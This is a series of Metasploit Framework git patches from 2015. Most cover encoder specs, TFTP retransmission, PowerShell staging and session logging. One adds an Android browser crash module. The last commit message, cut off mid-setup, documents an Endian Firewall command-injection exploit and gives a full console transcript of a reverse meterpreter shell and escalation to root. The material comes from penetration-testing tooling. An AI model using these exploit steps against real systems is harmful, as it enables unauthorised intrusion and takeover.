described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks ESI as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ESI) + end + + it "marks EAX as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EAX) + end + + it "marks ESP as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ESP) + end + end end end From 34d83f3881050a4d2338389e5d79f76d18870b86 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 16:01:29 -0500 Subject: [PATCH 0114/2172] Add specs for Rex AlphaMixed mods --- .../rex/encoder/alpha2/alpha_mixed_spec.rb | 198 +++++++++++++++++- 1 file changed, 197 insertions(+), 1 deletion(-) diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb index 4f44000bc4..d4fc8be5ef 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -50,6 +50,180 @@ describe Rex::Encoder::Alpha2::AlphaMixed do expect { decoder_prefix }.to raise_error end end + + context "when modified_registers is passed" do + context "when reg is ECX" do + context "when offset is 10" do + let(:reg) { 'ECX' } + let(:offset) { 10 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 5" do + let(:reg) { 'ECX' } + let(:offset) { 5 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 0" do + let(:reg) { 'ECX' } + let(:offset) { 0 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "doesn't mark EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to_not include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 15" do + let(:reg) { 'ECX' } + let(:offset) { 15 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + end + + context "when reg is EDX" do + context "when offset is 10" do + let(:reg) { 'EDX' } + let(:offset) { 10 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 5" do + let(:reg) { 'EDX' } + let(:offset) { 5 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 0" do + let(:reg) { 'EDX' } + let(:offset) { 0 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "doesn't mark EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to_not include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 15" do + let(:reg) { 'EDX' } + let(:offset) { 15 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + end + end end @@ -83,6 +257,28 @@ describe Rex::Encoder::Alpha2::AlphaMixed do expect { decoder }.to raise_error end end - end + context "when modified_registers passed" do + let(:modified_registers) { [] } + it "marks EDX as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + + it "marks ECX as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EAX as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EAX) + end + + it "marks ESP as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ESP) + end + end + end end From ca7d6ec2d8a25ed2a88542ca1b865751a4a2c033 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 16:35:23 -0500 Subject: [PATCH 0115/2172] Account registers correctly on geteip_fpu --- lib/rex/arch/x86.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index af965c22e0..1fab809682 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -476,13 +476,22 @@ module X86 # If the register is not ESP, copy ESP if (dst != ESP) mod_registers.push(dst) - next if badchars.index( (0x70 + dst).chr ) + if badchars.index( (0x70 + dst).chr ) + mod_registers.pop(dst) + next + end if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr )) buf << "\x89" + (0xE0 + dst).chr else - next if badchars.index("\x54") - next if badchars.index( (0x58+dst).chr ) + if badchars.index("\x54") + mod_registers.pop(dst) + next + end + if badchars.index( (0x58+dst).chr ) + mod_registers.pop(dst) + next + end buf << "\x54" + (0x58 + dst).chr end end @@ -519,6 +528,7 @@ module X86 modified_registers.concat(mod_registers) return [out, REG_NAMES32[reg].upcase, gap] end + mod_registers.pop(dst) end return nil From 101c5a29edba27407b42a7bff13260b07499cffa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 16:47:26 -0500 Subject: [PATCH 0116/2172] Add x86 specs --- spec/lib/rex/arch/x86_spec.rb | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb index 8596caa862..6e401d897d 100644 --- a/spec/lib/rex/arch/x86_spec.rb +++ b/spec/lib/rex/arch/x86_spec.rb @@ -1004,12 +1004,38 @@ describe Rex::Arch::X86 do it "returns a register as third element" do expect(subject[2]).to be_an Fixnum end + + context "when modified_registers passed" do + let(:modified_registers) { [] } + it "add modified registers" do + described_class.geteip_fpu(badchars, modified_registers) + expect(modified_registers).to_not be_empty + end + + it "modifies 2 or 3 registers" do + described_class.geteip_fpu(badchars, modified_registers) + expect(modified_registers.length).to be_between(2, 3) + end + + it "modifies ESP" do + described_class.geteip_fpu(badchars, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ESP) + end + end end context "when too many badchars" do let(:badchars) { (0x00..0xff).to_a.pack("C*") } it { is_expected.to be_nil } + + context "when modified_registers passed" do + let(:modified_registers) { [] } + it "doesn't add any register" do + described_class.geteip_fpu(badchars, modified_registers) + expect(modified_registers).to be_empty + end + end end end From 91a06fb6fba639b29377eab3bfec295809255841 Mon Sep 17 00:00:00 2001 From: David Barksdale Date: Tue, 9 Jun 2015 15:50:11 -0500 Subject: [PATCH 0117/2172] TFTP::Client retransmit lost data blocks on upload Retransmit data blocks until we receieve a matching ACK. --- lib/rex/proto/tftp/client.rb | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index a930055cb6..80063aa63f 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -302,21 +302,27 @@ class Client yield "Sending #{expected_size} bytes (#{expected_blocks} blocks)" end data_blocks.each_with_index do |data_block,idx| - req = [OpData, (idx + 1), data_block].pack("nnA*") - if self.server_sock.sendto(req, host, port) > 0 - sent_data += data_block.size - end - res = self.server_sock.recvfrom(65535) - if res - code, type, msg = parse_tftp_response(res[0]) - if code == 4 - sent_blocks += 1 - yield "Sent #{data_block.size} bytes in block #{sent_blocks}" if block_given? - else - if block_given? - yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] + while true + req = [OpData, (idx + 1), data_block].pack("nnA*") + self.server_sock.sendto(req, host, port) + res = self.server_sock.recvfrom(65535) + if res + code, type, msg = parse_tftp_response(res[0]) + if code == 4 + if type == idx + 1 + sent_blocks += 1 + sent_data += data_block.size + yield "Sent #{data_block.size} bytes in block #{idx+1}" if block_given? + break + else + next + end + else + if block_given? + yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] + end + break end - break end end end From 6d5e0b93d3f651722eca70b9b9fe977298fdb5b8 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 14 Jun 2015 14:53:51 -0400 Subject: [PATCH 0118/2172] Use random id generator appropriately Powershell::Script includes a random generator (@rig) which can produce non repeating randomized identifiers to be used as var names within the PSH code. Unwrap script handling in powershell env stager to instantate a method-local Powershell::Script object and access its :rig to generate identifiers. --- lib/msf/core/post/windows/powershell.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 5530652724..1c7dc92760 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -141,14 +141,15 @@ module Powershell # def stage_psh_env(script) begin - encoded_expression = encode_script(read_script(script)) + ps_script = read_script(script) + encoded_expression = encode_script(ps_script) cleanup_commands = [] # Add entropy to script variable names - script_var = Rex::Text.rand_text_alpha(6) - decscript = Rex::Text.rand_text_alpha(6) - scriptby = Rex::Text.rand_text_alpha(6) - scriptbybase = Rex::Text.rand_text_alpha(6) - scriptbybasefull = Rex::Text.rand_text_alpha(6) + script_var = ps_script.rig.generate(4) + decscript = ps_script.rig.generate(4) + scriptby = ps_script.rig.generate(4) + scriptbybase = ps_script.rig.generate(4) + scriptbybasefull = ps_script.rig.generate(4) if (encoded_expression.size > 14999 && compress_script(encoded_expression).size > 14999) print_error("Script size: #{encoded_expression.size} This script requres a stager") @@ -156,7 +157,7 @@ module Powershell print_good("Loading " + arr.count.to_s + " chunks into the stager.") vararray = [] arr.each_with_index do |slice, index| - variable = Rex::Text.rand_text_alpha(8) + variable = ps_script.rig.generate(5) vararray << variable indexval = index+1 vprint_good("Loaded stage:#{indexval}") From 2b23c91f776f41cbfd1e681d7a834a2cfd6c7a5f Mon Sep 17 00:00:00 2001 From: jww519 Date: Sun, 14 Jun 2015 15:19:27 -0400 Subject: [PATCH 0119/2172] Create Android Browser DOS module (CVE-2012-6301) This module exploits CVE-2012-6301, which exploits a vulnerability in Android 4.0.3 and causes the stock browser to unexpectedly close. Thanks @jww519! --- .../android_stock_browser_iframe_dos.rb | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 modules/auxiliary/gather/android_stock_browser_iframe_dos.rb diff --git a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb new file mode 100644 index 0000000000..a98c676283 --- /dev/null +++ b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb @@ -0,0 +1,65 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Android Stock Browser Iframe DOS", + 'Description' => %q{ + This module exploits a vulnerability in the native browser that comes with Android 4.0.3. + If successful, the browser will crash after viewing the webpage. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jean Pascal Pereira', # Original exploit discovery + 'Jonathan Waggoner' # Metasploit module + ], + 'References' => [ + [ 'URL', 'http://packetstormsecurity.com/files/118539/Android-4.0.3-Browser-Crash.html'], + [ 'CVE', '2012-6301' ] + ], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/shell/reverse_http' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => "Dec 1 2012", + 'DefaultTarget' => 0 + )) + end + + def on_request_uri(cli, request) + html = %Q| + + + + + + | + + print_status(msg = 'Getting ready to send HTML to client') + send_response(cli, html) + print_status(msg = 'Sent HTML to client') + + end + +end From d9c046449d6bba6d8d3ace028773585ee647cecd Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 14 Jun 2015 16:55:46 -0400 Subject: [PATCH 0120/2172] Fix comparison of string to Fixnum --- lib/msf/core/post/windows/powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 1c7dc92760..f71908ac2c 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -170,7 +170,7 @@ module Powershell end linkvars.slice!(0..2) session.shell_command("$#{script_var} = #{linkvars}") - elsif (compress_script(encoded_expression).size < 15000 and encoded_expression > 14999) + elsif (compress_script(encoded_expression).size < 15000 and encoded_expression.size > 14999) # Attempt to compress the PSH script into available space encoded_expression = compress_script(encoded_expression) print_good("Compressed script size: #{encoded_expression.size}") From b3754d750fee3bbc9fb2ef33aca186fe72705a59 Mon Sep 17 00:00:00 2001 From: benpturner Date: Sun, 14 Jun 2015 22:46:42 +0100 Subject: [PATCH 0121/2172] Compression on a pre-script does not work in this context. Removed the elsif part of this code --- lib/msf/core/post/windows/powershell.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index f71908ac2c..098a32a859 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -151,7 +151,7 @@ module Powershell scriptbybase = ps_script.rig.generate(4) scriptbybasefull = ps_script.rig.generate(4) - if (encoded_expression.size > 14999 && compress_script(encoded_expression).size > 14999) + if (encoded_expression.size > 14999) print_error("Script size: #{encoded_expression.size} This script requres a stager") arr = encoded_expression.chars.each_slice(14999).map(&:join) print_good("Loading " + arr.count.to_s + " chunks into the stager.") @@ -170,11 +170,6 @@ module Powershell end linkvars.slice!(0..2) session.shell_command("$#{script_var} = #{linkvars}") - elsif (compress_script(encoded_expression).size < 15000 and encoded_expression.size > 14999) - # Attempt to compress the PSH script into available space - encoded_expression = compress_script(encoded_expression) - print_good("Compressed script size: #{encoded_expression.size}") - session.shell_command("$#{script_var} = \"#{encoded_expression}\"") else print_good("Script size: #{encoded_expression.size}") session.shell_command("$#{script_var} = \"#{encoded_expression}\"") From a5469fd906f1551ccd48367fa3eece80cb339d1a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:28:47 +0100 Subject: [PATCH 0122/2172] Remove redundant methods --- lib/msf/core/session.rb | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 25b786426b..3a84221c7a 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -225,22 +225,6 @@ module Session "session_#{name}" end - # - # This method logs the supplied buffer as coming from the remote side of - # the session. - # - def log_from_remote(buf) - rlog(buf, log_source) - end - - # - # This method logs the supplied buffer as coming from the local side of - # the session. - # - def log_from_local(buf) - rlog(buf, log_source) - end - ## # # Core interface From 64449d50358c0da6a55f14c66697f8537d1ed628 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:50:42 +0100 Subject: [PATCH 0123/2172] Timestamp session output --- lib/msf/base/logging.rb | 2 +- lib/rex/logging/log_sink.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/logging.rb b/lib/msf/base/logging.rb index 0a0c475c5b..893d97031a 100644 --- a/lib/msf/base/logging.rb +++ b/lib/msf/base/logging.rb @@ -80,7 +80,7 @@ class Logging # @return [void] def self.start_session_log(session) if (log_source_registered?(session.log_source) == false) - f = Rex::Logging::Sinks::Flatfile.new( + f = Rex::Logging::Sinks::TimestampFlatfile.new( Msf::Config.session_log_directory + File::SEPARATOR + "#{session.log_file_name}.log") register_log_source(session.log_source, f) diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index cbb89471a4..e5cd5e8df7 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,3 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' +require 'rex/logging/sinks/timestamp_logfile' From 50cd15c52a6e0ea27be95016e7aa20adfade5236 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:56:39 +0100 Subject: [PATCH 0124/2172] Add the logsink --- lib/rex/logging/sinks/timestamp_logfile.rb | 23 ++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 lib/rex/logging/sinks/timestamp_logfile.rb diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_logfile.rb new file mode 100644 index 0000000000..c962c3fef3 --- /dev/null +++ b/lib/rex/logging/sinks/timestamp_logfile.rb @@ -0,0 +1,23 @@ +# -*- coding: binary -*- +module Rex +module Logging +module Sinks + +### +# +# This class implements the LogSink interface and backs it against a +# file on disk with a Timestamp. +# +### +class TimestampFlatfile < Flatfile + + def log(sev, src, level, msg, from) # :nodoc: + cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') + fd.write("[#{get_current_timestamp}] #{src}: #{cleaned}\n") + fd.flush + end + + +end + +end end end From 30b2a4aefe0be77c60c449c16399dd7f8a6618d3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 21:58:14 +0100 Subject: [PATCH 0125/2172] Dont need source --- lib/rex/logging/sinks/timestamp_logfile.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_logfile.rb index c962c3fef3..fa560a06a9 100644 --- a/lib/rex/logging/sinks/timestamp_logfile.rb +++ b/lib/rex/logging/sinks/timestamp_logfile.rb @@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') - fd.write("[#{get_current_timestamp}] #{src}: #{cleaned}\n") + fd.write("[#{get_current_timestamp}] #{cleaned}\n") fd.flush end From d267efbbbed934e9d3486c5cf581a9eabb34ba48 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 19 Jun 2015 22:07:00 +0100 Subject: [PATCH 0126/2172] Get the filename right --- lib/rex/logging/log_sink.rb | 2 +- .../sinks/{timestamp_logfile.rb => timestamp_flatfile.rb} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/rex/logging/sinks/{timestamp_logfile.rb => timestamp_flatfile.rb} (100%) diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index e5cd5e8df7..c58ef56d97 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,4 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' -require 'rex/logging/sinks/timestamp_logfile' +require 'rex/logging/sinks/timestamp_flatfile' diff --git a/lib/rex/logging/sinks/timestamp_logfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb similarity index 100% rename from lib/rex/logging/sinks/timestamp_logfile.rb rename to lib/rex/logging/sinks/timestamp_flatfile.rb From 65adb7a770eb6fdfbbf63f6c45eec8e54227b860 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 21 Jun 2015 17:00:51 +0100 Subject: [PATCH 0127/2172] Inlcude interactive channel logging --- lib/rex/post/meterpreter/ui/console.rb | 1 + lib/rex/post/meterpreter/ui/console/interactive_channel.rb | 3 +++ 2 files changed, 4 insertions(+) diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 3b2519d324..94ba5ceb44 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -83,6 +83,7 @@ class Console channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true) channel.on_command_proc = self.on_command_proc if self.on_command_proc channel.on_print_proc = self.on_print_proc if self.on_print_proc + channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) channel.interact(input, output) channel.reset_ui diff --git a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb index 17be4acffb..0ef94b598d 100644 --- a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +++ b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb @@ -81,6 +81,7 @@ module Console::InteractiveChannel data = self.lsock.sysread(16384) self.on_print_proc.call(data.strip) if self.on_print_proc + self.on_log_proc.call(data.strip) if self.on_log_proc user_output.print(data) end @@ -91,6 +92,8 @@ module Console::InteractiveChannel self.lsock end + attr_accessor :on_log_proc + end end From 48102aa6eb4a0212d12cb11c79f91ae4532415d0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 21 Jun 2015 19:13:55 +0100 Subject: [PATCH 0128/2172] Strip newlines so we dont add spaces --- lib/rex/logging/sinks/timestamp_flatfile.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb index fa560a06a9..4f69219ad6 100644 --- a/lib/rex/logging/sinks/timestamp_flatfile.rb +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -12,7 +12,7 @@ module Sinks class TimestampFlatfile < Flatfile def log(sev, src, level, msg, from) # :nodoc: - cleaned = msg.gsub(/\x1b\[[0-9;]*[mG]/,'') + cleaned = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'') fd.write("[#{get_current_timestamp}] #{cleaned}\n") fd.flush end From e2f0dcb0785c6ecbff90742340de76500947600b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 24 Jun 2015 20:38:28 +0100 Subject: [PATCH 0129/2172] Raise an exception on invalid comms --- lib/msf/core/handler/reverse_tcp_comm.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_tcp_comm.rb b/lib/msf/core/handler/reverse_tcp_comm.rb index be475514a4..6fe3ce58d2 100644 --- a/lib/msf/core/handler/reverse_tcp_comm.rb +++ b/lib/msf/core/handler/reverse_tcp_comm.rb @@ -29,8 +29,10 @@ module ReverseTcpComm comm = framework.sessions[rl_comm.to_i] raise(RuntimeError, "Reverse Listener Comm (Session #{rl_comm}) does not exist") unless comm raise(RuntimeError, "Reverse Listener Comm (Session #{rl_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm - else + when nil, '' comm = nil + else + raise(RuntimeError, "Reverse Listener Comm '#{rl_comm}' is invalid") end comm From 1d50bda609f0e022744a3736758484b70eec0d68 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 27 Jun 2015 21:38:25 -0400 Subject: [PATCH 0130/2172] initial add of blank file --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 modules/exploits/multi/http/werkzeug_debug_rce.rb diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb new file mode 100644 index 0000000000..e69de29bb2 From 13dc181f1cd911f4d0a97f1f5bc3720d935c7fb1 Mon Sep 17 00:00:00 2001 From: aos Date: Mon, 29 Jun 2015 12:03:17 -0700 Subject: [PATCH 0131/2172] Exploit Module: Endian Firewall Proxy Password Change Command Injection http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082 (CVE is new as of today, so that page may not display correctly yet) Targets an OS command injection vulnerability in most released versions of Endian Firewall. Tested successfully against the following versions: 1.1 RC5 2.0 2.1 2.2 2.5.1 2.5.2 Known to not work against the following versions, due to bugs in the vulnerable CGI script which also prevent normal use of it: 2.3 2.4.0 3.0.0 3.0.5 beta 1 Requires that at least one username and password be defined in the local auth store for the Squid proxy component on the system, and that the attacker know that username and password. Administrative or other credentials are not required. Provides OS command execution as the "nobody" account, which (on all tested versions) has sudo permission to (among other things) run a script which changes the Linux root account's password. Example usage / output: ``` msf > use exploit/linux/http/efw_chpasswd_exec msf exploit(efw_chpasswd_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(efw_chpasswd_exec) > set LHOST 172.16.47.13 LHOST => 172.16.47.13 msf exploit(efw_chpasswd_exec) > set LPORT 443 LPORT => 443 msf exploit(efw_chpasswd_exec) > set RHOST 172.16.47.1 RHOST => 172.16.47.1 msf exploit(efw_chpasswd_exec) > set EFW_USERNAME proxyuser EFW_USERNAME => proxyuser msf exploit(efw_chpasswd_exec) > set EFW_PASSWORD password123 EFW_PASSWORD => password123 msf exploit(efw_chpasswd_exec) > exploit [*] Started reverse handler on 172.16.47.13:443 [*] Command Stager progress - 18.28% done (196/1072 bytes) [*] Command Stager progress - 36.57% done (392/1072 bytes) [*] Command Stager progress - 54.85% done (588/1072 bytes) [*] Command Stager progress - 73.13% done (784/1072 bytes) [*] Command Stager progress - 91.42% done (980/1072 bytes) [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1138688 bytes) to 172.16.47.1 [*] Meterpreter session 1 opened (172.16.47.13:443 -> 172.16.47.1:36481) at 2015-06-29 10:20:13 -0700 [*] Command Stager progress - 100.47% done (1077/1072 bytes) meterpreter > getuid Server username: uid=99, gid=99, euid=99, egid=99, suid=99, sgid=99 meterpreter > sysinfo Computer : efw220.vuln.local OS : Linux efw220.vuln.local 2.6.22.19-72.endian15 #1 SMP Mon Sep 8 11:49:17 EDT 2008 (i686) Architecture : i686 Meterpreter : x86/linux meterpreter > shell Process 5768 created. Channel 1 created. sh: no job control in this shell sh-3.00$ whoami nobody sh-3.00$ uname -a Linux efw220.vuln.local 2.6.22.19-72.endian15 #1 SMP Mon Sep 8 11:49:17 EDT 2008 i686 i686 i386 GNU/Linux sh-3.00$ sudo /usr/local/bin/chrootpasswd IlikerootaccessandIcannotlie sh-3.00$ su Password:IlikerootaccessandIcannotlie bash: no job control in this shell bash-3.00# whoami root ``` Steps to verify module functionality: Go to http://sourceforge.net/projects/efw/files/Development/ Select version 2, 2.1, 2.2, 2.5.1, or 2.5.2. Download the ISO file for that version. Create a VM using the ISO: For purposes of VM configuration: - Endian is based on the RHEL/CentOS/Fedora Core Linux distribution. - The ISOs will create a 32-bit x86 system. - 512MB of RAM and 4GB of disk space should be more than enough. - Be sure to configure the VM with at least two NICs, as the Endian setup is difficult (impossible?) to complete with less than two network interfaces on the host. For the Endian OS-level (Linux) installation: - Default options are fine where applicable. - Be sure to pick a valid IP for the "Green" network interface, as you will use it to access a web GUI to complete the configuration - If prompted to create a root/SSH password and/or web admin password, make a note of them. Well, make a note of the web admin password - the exploit module will let you change the root password later if you want to. This step is dependent on the version selected - some will prompt, others default the values to "endian". - Once the OS-level configuration is complete, access the web interface to complete the setup. If you used 172.16.47.1 for the "Green" interface, then the URL will be https://172.16.47.1:10443/ - If the web interface is not accessible, reboot the VM (in some versions, the web interface does not come up until after the first post-installation reboot). For the web interface-based configuration: - If you were prompted to select an admin 